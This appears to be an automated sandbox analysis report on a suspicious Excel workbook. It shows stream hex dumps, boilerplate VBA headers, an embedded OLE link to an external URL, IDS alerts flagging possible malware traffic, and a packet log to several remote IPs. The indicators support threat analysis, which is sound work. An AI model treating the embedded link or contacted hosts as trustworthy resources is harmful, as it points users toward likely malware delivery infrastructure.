Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 c5 45 42 15 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: Sheet2.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet2
VBA File Name:	Sheet2.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . E : . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . - .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 c5 45 cf 3a 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: Sheet3.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet3
VBA File Name:	Sheet3.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . E . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . - . 0
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 c5 45 92 e8 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: ThisWorkbook.cls, Stream Size: 985

General
Stream Path:	_VBA_PROJECT_CUR/VBA/ThisWorkbook
VBA File Name:	ThisWorkbook.cls
Stream Size:	985
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . E g . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 1 . 9 . - .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 c5 45 e4 67 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	\x1CompObj
CLSID:
File Type:	data
Stream Size:	114
Entropy:	4.25248375192737
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . F & . . . M i c r o s o f t O f f i c e E x c e l 2 0 0 3 W o r k s h e e t . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 26 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 244

General
Stream Path:	\x5DocumentSummaryInformation
CLSID:
File Type:	data
Stream Size:	244
Entropy:	2.889430592781307
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t 1 . . . . . S h e e t 2 . . . . . S h e e t 3 . . . . . . . . . . . . . . . . . W o r k s h e e t s . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 c4 00 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00 78 00 00 00 0c 00 00 00 a1 00 00 00 02 00 00 00 e4 04 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 200

General
Stream Path:	\x5SummaryInformation
CLSID:
File Type:	data
Stream Size:	200
Entropy:	3.2920681057018664
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . T . . . . . . . ` . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . \| . # . @ . . . m 6 ? ~ . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 98 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 54 00 00 00 12 00 00 00 60 00 00 00 0c 00 00 00 78 00 00 00 0d 00 00 00 84 00 00 00 13 00 00 00 90 00 00 00 02 00 00 00 e4 04 00 00 1e 00 00 00 04 00 00 00

Stream Path: MBD004FA1DD/\x1CompObj, File Type: data, Stream Size: 99

General
Stream Path:	MBD004FA1DD/\x1CompObj
CLSID:
File Type:	data
Stream Size:	99
Entropy:	3.631242196770981
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . ! . . . M i c r o s o f t O f f i c e E x c e l W o r k s h e e t . . . . . E x c e l M L 1 2 . . . . . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 57 6f 72 6b 73 68 65 65 74 00 0a 00 00 00 45 78 63 65 6c 4d 4c 31 32 00 00 00 00 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD004FA1DD/Package, File Type: Microsoft Excel 2007+, Stream Size: 904507

General
Stream Path:	MBD004FA1DD/Package
CLSID:
File Type:	Microsoft Excel 2007+
Stream Size:	904507
Entropy:	7.992292502985364
Base64 Encoded:	True
Data ASCII:	P K . . . . . . . . . . ! . h . . . . . . . . . [ C o n t e n t _ T y p e s ] . x m l . ( . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	50 4b 03 04 14 00 06 00 08 00 00 00 21 00 d5 68 cd d7 f9 01 00 00 da 08 00 00 13 00 c4 01 5b 43 6f 6e 74 65 6e 74 5f 54 79 70 65 73 5d 2e 78 6d 6c 20 a2 c0 01 28 a0 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD004FA1DE/\x1Ole, File Type: data, Stream Size: 564

General
Stream Path:	MBD004FA1DE/\x1Ole
CLSID:
File Type:	data
Stream Size:	564
Entropy:	4.982836443340031
Base64 Encoded:	False
Data ASCII:	. . . . t . s [ v . . . . . . . . . . . . . . . y . . . K . . . . h . t . t . p . s . : . / . / . l . i . n . k . . . s . a . j . a . . . m . a . r . k . e . t . / . Z . 8 . v . B . Z . k . X . t . l . w . ? . & . t . h . i . n . g . = . o . m . n . i . s . c . i . e . n . t . & . s . w . e . a . t . s . h . i . r . t . . . . & . y . ( h a U 4 . . . N z e 1 ' . ^ . a . N g G . d K . ( . ] 1 x = @ X 7 . < < P P ; . . . . . . . . . . . . . . . . . . . G . s . M . v . u . T . 4 . x . J . i . q . F . 8 . 8 .
Data Raw:	01 00 00 02 e1 d8 74 1b 73 a2 5b 76 00 00 00 00 00 00 00 00 00 00 00 00 de 00 00 00 e0 c9 ea 79 f9 ba ce 11 8c 82 00 aa 00 4b a9 0b da 00 00 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 6c 00 69 00 6e 00 6b 00 2e 00 73 00 61 00 6a 00 61 00 2e 00 6d 00 61 00 72 00 6b 00 65 00 74 00 2f 00 5a 00 38 00 76 00 42 00 5a 00 6b 00 58 00 74 00 6c 00 77 00 3f 00 26 00 74 00 68 00 69 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 265433

General
Stream Path:	Workbook
CLSID:
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	265433
Entropy:	7.998342541005724
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . / . 6 . . . . . . . c . . > D = . . 8 { ( M s 1 N 4 . . b . . c \| g . w . . . . . . . . . . . . . . . \\ . p . ! l . . w D 6 B p & * 8 . f n . . 0 r . . e V . . + V { < } j + t r z . . . < Z > . . . . x z . ) Y G = t , V b . . Y B . . . a . . . . . . = . . . A . . . q P . ; . : . . . . . . . . . . . j 3 . . . . . . . . a _ . . . ( = . . . . . d \| @ X ( U ? @ . . . . . . , " . . . . . . . . G X . . . Z Y . . . O ' 1 . . . C s . A . . . . Y p D _ . N Z . 5 ] 1 . . . u . $
Data Raw:	09 08 10 00 00 06 05 00 ab 1f cd 07 c1 00 01 00 06 04 00 00 2f 00 36 00 01 00 01 00 01 00 63 7f 03 a2 3e f4 44 f1 e9 3d 1e 04 b4 38 90 7b e6 28 4d 73 e6 31 bc e7 cb 4e 34 f0 0e d6 95 cd 62 aa d4 89 da 8e 9f e7 b5 63 7c 67 14 77 09 a4 87 00 00 00 e1 00 02 00 b0 04 c1 00 02 00 df 81 e2 00 00 00 5c 00 70 00 21 6c ea dd 83 80 b4 d1 10 77 44 e2 e4 36 ea 42 70 26 b7 db 2a 38 11 66 6e fc

Stream Path: _VBA_PROJECT_CUR/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 531

General
Stream Path:	_VBA_PROJECT_CUR/PROJECT
CLSID:
File Type:	ASCII text, with CRLF line terminators
Stream Size:	531
Entropy:	5.266512041297275
Base64 Encoded:	True
Data ASCII:	I D = " { 8 7 7 0 C F C A - 7 C F 8 - 4 5 6 9 - 8 A 4 0 - 5 C 2 E 6 C 1 1 2 2 7 5 } " . . D o c u m e n t = T h i s W o r k b o o k / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 1 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 2 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 3 / & H 0 0 0 0 0 0 0 0 . . N a m e = " V B A P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " B 7 B 5 6 1 3 7 A 1 4 F 5 9 5 3 5
Data Raw:	49 44 3d 22 7b 38 37 37 30 43 46 43 41 2d 37 43 46 38 2d 34 35 36 39 2d 38 41 34 30 2d 35 43 32 45 36 43 31 31 32 32 37 35 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 57 6f 72 6b 62 6f 6f 6b 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 31 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 32 2f 26 48 30 30 30

Stream Path: _VBA_PROJECT_CUR/PROJECTwm, File Type: data, Stream Size: 104

General
Stream Path:	_VBA_PROJECT_CUR/PROJECTwm
CLSID:
File Type:	data
Stream Size:	104
Entropy:	3.0488640812019017
Base64 Encoded:	False
Data ASCII:	T h i s W o r k b o o k . T . h . i . s . W . o . r . k . b . o . o . k . . . S h e e t 1 . S . h . e . e . t . 1 . . . S h e e t 2 . S . h . e . e . t . 2 . . . S h e e t 3 . S . h . e . e . t . 3 . . . . .
Data Raw:	54 68 69 73 57 6f 72 6b 62 6f 6f 6b 00 54 00 68 00 69 00 73 00 57 00 6f 00 72 00 6b 00 62 00 6f 00 6f 00 6b 00 00 00 53 68 65 65 74 31 00 53 00 68 00 65 00 65 00 74 00 31 00 00 00 53 68 65 65 74 32 00 53 00 68 00 65 00 65 00 74 00 32 00 00 00 53 68 65 65 74 33 00 53 00 68 00 65 00 65 00 74 00 33 00 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/_VBA_PROJECT, File Type: data, Stream Size: 2644

General
Stream Path:	_VBA_PROJECT_CUR/VBA/_VBA_PROJECT
CLSID:
File Type:	data
Stream Size:	2644
Entropy:	3.9856458236428147
Base64 Encoded:	False
Data ASCII:	a . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 0 . # . 9 . # . C . : . \\ . P . R . O . G . R . A . ~ . 2 . \\ . C . O . M . M . O . N . ~ . 1 . \\ . M . I . C . R . O . S . ~ . 1 . \\ . V . B . A . \\ . V . B . A . 6 . \\ . V . B . E . 6 . . . D . L . L . # . V . i . s . u . a . l . . B . a . s . i . c . . F . o . r .
Data Raw:	cc 61 88 00 00 01 00 ff 09 40 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00 04 00 02 00 fa 00 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 30 00 23 00

Stream Path: _VBA_PROJECT_CUR/VBA/dir, File Type: data, Stream Size: 553

General
Stream Path:	_VBA_PROJECT_CUR/VBA/dir
CLSID:
File Type:	data
Stream Size:	553
Entropy:	6.361069873011047
Base64 Encoded:	True
Data ASCII:	. % . . . . . . . . 0 * . . . . p . . H . . . . d . . . . . . . V B A P r o j e c t . . 4 . . @ . . j . . . = . . . . r . . . . . . . . . # . i . . . . J < . . . . . r s t d o l e > . . . s . t . d . o . l . e . . . h . % . ^ . . * \\ G { 0 0 0 2 0 4 3 0 - . . . . . C . . . . . . 0 0 4 . 6 } # 2 . 0 # 0 . # C : \\ W i n d . o w s \\ S y s W O W 6 4 \\ . e 2 . . t l b # O L E . A u t o m a t i . o n . ` . . E O f f D i c E O . f . i . c E . . E . 2 D F 8 D 0 4 C . - 5 B F A - 1 0 1 B - B D E 5 E A A C 4 . 2
Data Raw:	01 25 b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 0a 3d 02 0a 07 02 72 01 14 08 05 06 12 09 02 12 23 08 e6 69 0d 94 00 0c 02 4a 3c 02 0a 16 00 01 72 80 73 74 64 6f 6c 65 3e 02 19 00 73 00 74 00 64 00 6f 00 80 6c 00 65 00 0d 00 68 00 25 02 5e 00 03 2a 5c 47

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-03-10T09:27:00.031529+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49701	13.107.246.60	443	TCP
2025-03-10T09:27:08.233163+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49705	13.107.246.60	443	TCP
2025-03-10T09:27:08.297829+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49704	13.107.246.60	443	TCP
2025-03-10T09:27:08.379185+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49703	40.90.65.44	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 10, 2025 09:26:36.693736076 CET	49699	443	192.168.2.7	3.39.153.44
Mar 10, 2025 09:26:36.693789005 CET	443	49699	3.39.153.44	192.168.2.7
Mar 10, 2025 09:26:36.693897009 CET	49699	443	192.168.2.7	3.39.153.44
Mar 10, 2025 09:26:36.694144964 CET	49699	443	192.168.2.7	3.39.153.44
Mar 10, 2025 09:26:36.694156885 CET	443	49699	3.39.153.44	192.168.2.7
Mar 10, 2025 09:26:39.378515005 CET	443	49699	3.39.153.44	192.168.2.7
Mar 10, 2025 09:26:39.378669024 CET	49699	443	192.168.2.7	3.39.153.44
Mar 10, 2025 09:26:39.382961035 CET	49699	443	192.168.2.7	3.39.153.44
Mar 10, 2025 09:26:39.382972002 CET	443	49699	3.39.153.44	192.168.2.7
Mar 10, 2025 09:26:39.383296013 CET	443	49699	3.39.153.44	192.168.2.7
Mar 10, 2025 09:26:39.383358002 CET	49699	443	192.168.2.7	3.39.153.44
Mar 10, 2025 09:26:39.383704901 CET	49699	443	192.168.2.7	3.39.153.44
Mar 10, 2025 09:26:39.428327084 CET	443	49699	3.39.153.44	192.168.2.7
Mar 10, 2025 09:26:39.944403887 CET	443	49699	3.39.153.44	192.168.2.7
Mar 10, 2025 09:26:39.944569111 CET	49699	443	192.168.2.7	3.39.153.44
Mar 10, 2025 09:26:39.944602966 CET	443	49699	3.39.153.44	192.168.2.7
Mar 10, 2025 09:26:39.944655895 CET	49699	443	192.168.2.7	3.39.153.44
Mar 10, 2025 09:26:39.967492104 CET	443	49699	3.39.153.44	192.168.2.7
Mar 10, 2025 09:26:39.967564106 CET	443	49699	3.39.153.44	192.168.2.7
Mar 10, 2025 09:26:39.967619896 CET	49699	443	192.168.2.7	3.39.153.44
Mar 10, 2025 09:26:39.967655897 CET	49699	443	192.168.2.7	3.39.153.44
Mar 10, 2025 09:26:39.986177921 CET	49699	443	192.168.2.7	3.39.153.44
Mar 10, 2025 09:26:39.986217976 CET	443	49699	3.39.153.44	192.168.2.7
Mar 10, 2025 09:26:39.986254930 CET	49699	443	192.168.2.7	3.39.153.44
Mar 10, 2025 09:26:39.986270905 CET	49699	443	192.168.2.7	3.39.153.44
Mar 10, 2025 09:26:39.992608070 CET	49700	80	192.168.2.7	198.23.187.151
Mar 10, 2025 09:26:39.997731924 CET	80	49700	198.23.187.151	192.168.2.7
Mar 10, 2025 09:26:39.997818947 CET	49700	80	192.168.2.7	198.23.187.151
Mar 10, 2025 09:26:39.998020887 CET	49700	80	192.168.2.7	198.23.187.151
Mar 10, 2025 09:26:40.003096104 CET	80	49700	198.23.187.151	192.168.2.7
Mar 10, 2025 09:26:40.503252983 CET	80	49700	198.23.187.151	192.168.2.7
Mar 10, 2025 09:26:40.503272057 CET	80	49700	198.23.187.151	192.168.2.7
Mar 10, 2025 09:26:40.503292084 CET	80	49700	198.23.187.151	192.168.2.7
Mar 10, 2025 09:26:40.503305912 CET	80	49700	198.23.187.151	192.168.2.7
Mar 10, 2025 09:26:40.503318071 CET	80	49700	198.23.187.151	192.168.2.7
Mar 10, 2025 09:26:40.503334045 CET	80	49700	198.23.187.151	192.168.2.7
Mar 10, 2025 09:26:40.503345966 CET	80	49700	198.23.187.151	192.168.2.7
Mar 10, 2025 09:26:40.503480911 CET	49700	80	192.168.2.7	198.23.187.151
Mar 10, 2025 09:26:40.503480911 CET	49700	80	192.168.2.7	198.23.187.151
Mar 10, 2025 09:26:40.503832102 CET	80	49700	198.23.187.151	192.168.2.7
Mar 10, 2025 09:26:40.503843069 CET	80	49700	198.23.187.151	192.168.2.7
Mar 10, 2025 09:26:40.503854990 CET	80	49700	198.23.187.151	192.168.2.7
Mar 10, 2025 09:26:40.503902912 CET	49700	80	192.168.2.7	198.23.187.151
Mar 10, 2025 09:26:40.503921032 CET	49700	80	192.168.2.7	198.23.187.151
Mar 10, 2025 09:26:40.509532928 CET	80	49700	198.23.187.151	192.168.2.7
Mar 10, 2025 09:26:40.509550095 CET	80	49700	198.23.187.151	192.168.2.7
Mar 10, 2025 09:26:40.509566069 CET	80	49700	198.23.187.151	192.168.2.7
Mar 10, 2025 09:26:40.509605885 CET	49700	80	192.168.2.7	198.23.187.151
Mar 10, 2025 09:26:40.509632111 CET	49700	80	192.168.2.7	198.23.187.151
Mar 10, 2025 09:26:40.509799004 CET	80	49700	198.23.187.151	192.168.2.7
Mar 10, 2025 09:26:40.509812117 CET	80	49700	198.23.187.151	192.168.2.7
Mar 10, 2025 09:26:40.509955883 CET	49700	80	192.168.2.7	198.23.187.151
Mar 10, 2025 09:26:40.593127012 CET	80	49700	198.23.187.151	192.168.2.7
Mar 10, 2025 09:26:40.593214989 CET	49700	80	192.168.2.7	198.23.187.151
Mar 10, 2025 09:26:41.114685059 CET	49700	80	192.168.2.7	198.23.187.151
Mar 10, 2025 09:26:41.114685059 CET	49700	80	192.168.2.7	198.23.187.151
Mar 10, 2025 09:26:57.900051117 CET	49701	443	192.168.2.7	13.107.246.60
Mar 10, 2025 09:26:57.900078058 CET	443	49701	13.107.246.60	192.168.2.7
Mar 10, 2025 09:26:57.900247097 CET	49701	443	192.168.2.7	13.107.246.60
Mar 10, 2025 09:26:57.900496960 CET	49701	443	192.168.2.7	13.107.246.60
Mar 10, 2025 09:26:57.900513887 CET	443	49701	13.107.246.60	192.168.2.7
Mar 10, 2025 09:27:00.031271935 CET	443	49701	13.107.246.60	192.168.2.7
Mar 10, 2025 09:27:00.031528950 CET	49701	443	192.168.2.7	13.107.246.60
Mar 10, 2025 09:27:00.077302933 CET	49701	443	192.168.2.7	13.107.246.60
Mar 10, 2025 09:27:00.077322960 CET	443	49701	13.107.246.60	192.168.2.7
Mar 10, 2025 09:27:00.077667952 CET	443	49701	13.107.246.60	192.168.2.7
Mar 10, 2025 09:27:00.081412077 CET	49701	443	192.168.2.7	13.107.246.60
Mar 10, 2025 09:27:00.128329992 CET	443	49701	13.107.246.60	192.168.2.7
Mar 10, 2025 09:27:00.617758989 CET	443	49701	13.107.246.60	192.168.2.7
Mar 10, 2025 09:27:00.617783070 CET	443	49701	13.107.246.60	192.168.2.7
Mar 10, 2025 09:27:00.617799044 CET	443	49701	13.107.246.60	192.168.2.7
Mar 10, 2025 09:27:00.617929935 CET	49701	443	192.168.2.7	13.107.246.60
Mar 10, 2025 09:27:00.617949963 CET	443	49701	13.107.246.60	192.168.2.7
Mar 10, 2025 09:27:00.618031979 CET	49701	443	192.168.2.7	13.107.246.60
Mar 10, 2025 09:27:00.690283060 CET	443	49701	13.107.246.60	192.168.2.7
Mar 10, 2025 09:27:00.690326929 CET	443	49701	13.107.246.60	192.168.2.7
Mar 10, 2025 09:27:00.690368891 CET	49701	443	192.168.2.7	13.107.246.60
Mar 10, 2025 09:27:00.690385103 CET	443	49701	13.107.246.60	192.168.2.7
Mar 10, 2025 09:27:00.690443993 CET	49701	443	192.168.2.7	13.107.246.60
Mar 10, 2025 09:27:00.690443993 CET	49701	443	192.168.2.7	13.107.246.60
Mar 10, 2025 09:27:00.724209070 CET	443	49701	13.107.246.60	192.168.2.7
Mar 10, 2025 09:27:00.724231005 CET	443	49701	13.107.246.60	192.168.2.7
Mar 10, 2025 09:27:00.724294901 CET	49701	443	192.168.2.7	13.107.246.60
Mar 10, 2025 09:27:00.724318027 CET	443	49701	13.107.246.60	192.168.2.7
Mar 10, 2025 09:27:00.724596977 CET	49701	443	192.168.2.7	13.107.246.60
Mar 10, 2025 09:27:00.763704062 CET	443	49701	13.107.246.60	192.168.2.7
Mar 10, 2025 09:27:00.763736010 CET	443	49701	13.107.246.60	192.168.2.7
Mar 10, 2025 09:27:00.763792992 CET	49701	443	192.168.2.7	13.107.246.60
Mar 10, 2025 09:27:00.763811111 CET	443	49701	13.107.246.60	192.168.2.7
Mar 10, 2025 09:27:00.763838053 CET	49701	443	192.168.2.7	13.107.246.60
Mar 10, 2025 09:27:00.763896942 CET	49701	443	192.168.2.7	13.107.246.60
Mar 10, 2025 09:27:00.791282892 CET	443	49701	13.107.246.60	192.168.2.7
Mar 10, 2025 09:27:00.791307926 CET	443	49701	13.107.246.60	192.168.2.7
Mar 10, 2025 09:27:00.791387081 CET	49701	443	192.168.2.7	13.107.246.60
Mar 10, 2025 09:27:00.791387081 CET	49701	443	192.168.2.7	13.107.246.60
Mar 10, 2025 09:27:00.791429043 CET	443	49701	13.107.246.60	192.168.2.7
Mar 10, 2025 09:27:00.791636944 CET	49701	443	192.168.2.7	13.107.246.60
Mar 10, 2025 09:27:00.809515953 CET	443	49701	13.107.246.60	192.168.2.7
Mar 10, 2025 09:27:00.809541941 CET	443	49701	13.107.246.60	192.168.2.7
Mar 10, 2025 09:27:00.809645891 CET	49701	443	192.168.2.7	13.107.246.60
Mar 10, 2025 09:27:00.809645891 CET	49701	443	192.168.2.7	13.107.246.60
Mar 10, 2025 09:27:00.809659958 CET	443	49701	13.107.246.60	192.168.2.7
Mar 10, 2025 09:27:00.809761047 CET	49701	443	192.168.2.7	13.107.246.60
Mar 10, 2025 09:27:00.831988096 CET	443	49701	13.107.246.60	192.168.2.7
Mar 10, 2025 09:27:00.832009077 CET	443	49701	13.107.246.60	192.168.2.7
Mar 10, 2025 09:27:00.832082987 CET	49701	443	192.168.2.7	13.107.246.60
Mar 10, 2025 09:27:00.832097054 CET	443	49701	13.107.246.60	192.168.2.7
